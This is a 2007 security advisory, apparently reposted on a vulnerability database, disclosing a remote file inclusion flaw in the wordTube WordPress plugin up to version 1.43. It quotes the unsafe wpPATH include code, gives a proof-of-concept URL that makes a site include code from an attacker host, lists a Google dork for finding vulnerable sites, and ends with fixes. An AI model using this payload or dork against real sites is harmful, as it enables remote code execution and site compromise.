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HistoryMay 02, 2007 - 12:00 a.m.

[ECHO_ADV_81$2007] wordpress plugins wordTube <= 1.43 (wpPATH) Remote File Inclusion Vulnerability

2007-05-0200:00:00
vulners.com
11

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                                    .OR.ID

ECHO_ADV_81$2007


[ECHO_ADV_81$2007] wordpress plugins wordTube <= 1.43 (wpPATH) Remote File Inclusion Vulnerability

Author : M.Hasran Addahroni
Date : April, 30th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv81-K-159-2007.txt
Critical Lvl : Dangerous
Impact : System access
Where : From Remote

Affected software description:


Application   : wordTube  
version       : &lt;= 1.43
Vendor        : http://alexrabe.boelinger.com/?page_id=20
Description :

This plugin creates your personal YouTube plugin for wordpress.
wordTube supports the streaming video format &#40;Format .flv or .swf&#41;, 
sound files as MP3 and JPG, GIF or PNG grafic files.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~
- Invalid include function at wordtube-button.php :  
  	
----------------wordtube-button.php-------------------
...

*/
// get and set path of function

if &#40;!$_POST&#41; $wppath=$_GET[&#39;wpPATH&#39;];
else $wppath=$_POST[&#39;wpPATH&#39;];

require_once&#40;$wppath.&#39;/wp-config.php&#39;&#41;;
require_once&#40;$wppath.&#39;/wp-admin/admin.php&#39;&#41;;
...
----------------------------------------------------------------


Input passed to the &quot;wpPATH&quot; parameter in wordtube-button.php is not properly verified before being used to include files. 
This can be exploited to include arbitrary files from local or external resources.
Successful exploitation requires that &quot;register_globals&quot; is enabled.




Poc/Exploit:
~~~~~~~~~

http://www.target.com/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://attacker.com/evil?

Google dork:
~~~~~~~~~
&quot;inurl:/plugins/wordtube&quot;


Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn off register_globals
- use the latest version 

Notification:
~~~~~~
- 30-04-2007 bugs found
- 30-04-2007 vendor contacted 
-  1-05-2007 advisory released

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Shoutz:
~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S&#96;to,lirva32,negative, str0ke &#40;for the best comments&#41;
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ [email protected]
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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